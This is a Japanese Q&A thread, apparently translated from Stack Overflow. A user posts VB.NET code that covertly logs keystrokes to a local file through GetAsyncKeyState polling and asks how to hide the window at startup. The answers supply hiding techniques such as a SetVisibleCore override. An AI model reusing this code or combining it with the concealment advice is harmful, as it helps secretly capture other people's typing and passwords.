1

起動時にメインフォームを非表示にしようとしていますが、何らかの理由でそれができません。次のコードでは、フォームを非表示にするボタンを作成しましたが、ロード時にフォームを非表示にしたいと考えています。私を助けてください。前もって感謝します。

Option Strict On

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String

        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                tbLog.Text = tbLog.Text + Chr(i)
                If i = 13 Then key = vbNewLine

                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                tbLog.Text = key
            Else
                tbLog.Text = key.ToLower
            End If
        End If

        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
            Me.Show()

        End If
    End Sub

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub
    Private msg As String = ""
    Private Sub timerSave_Tick() Handles timerSave.Tick
        My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
        tbLog.Clear()

    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
        'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
        timerSave_Tick()

    End Sub


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        tbLog.Text = " Started at :" & Now & vbNewLine

    End Sub

    Public Sub store(ByVal s As String)

    End Sub
End Class
4

3 に答える 3

4

起動時にフォームを表示したくない場合の解決策は、フォームを非表示にするのではなく、プロジェクトの起動方法を変更することです。

アプリケーション設定で、「アプリケーション フレームワーク」を無効にしSub Main、フォーム オブジェクトではなくスタートアップ オブジェクトを設定します。次にSub Main、モジュールに適切なエントリ ポイントを記述します。

MSDN にはより多くの情報があります(ただし、この記事に記載されている情報の一部はひどく誤解を招くものです)。

于 2013-04-05T10:12:34.673 に答える
0

フォームの最初にこれを貼り付けて入力するだけです。

Protected Overrides Sub SetVisibleCore(ByVal value As Boolean)
    If Not Me.IsHandleCreated Then
        Me.CreateHandle()
        value = False
    End If
    MyBase.SetVisibleCore(value)
End Sub

詳細については、次 の URL を参照してください: 非表示のスタートアップ フォームを使用するには? ハンス・パッサン

一番、

于 2014-11-07T08:02:32.633 に答える
-1

コードタブに移動すると、そのすぐ下にリストボックスがあります。「(form1 イベント)」を選択します。それを行った後、そのすぐ隣に別のリストボックスがあります。そのテキストボックスを「読み込み」に置きます。新しいイベントが作成されます。そのイベントは、プログラムの開始時に開始されます。このイベントに入れます: me.visible = false. これでうまくいくはずです。

于 2013-05-20T10:39:47.893 に答える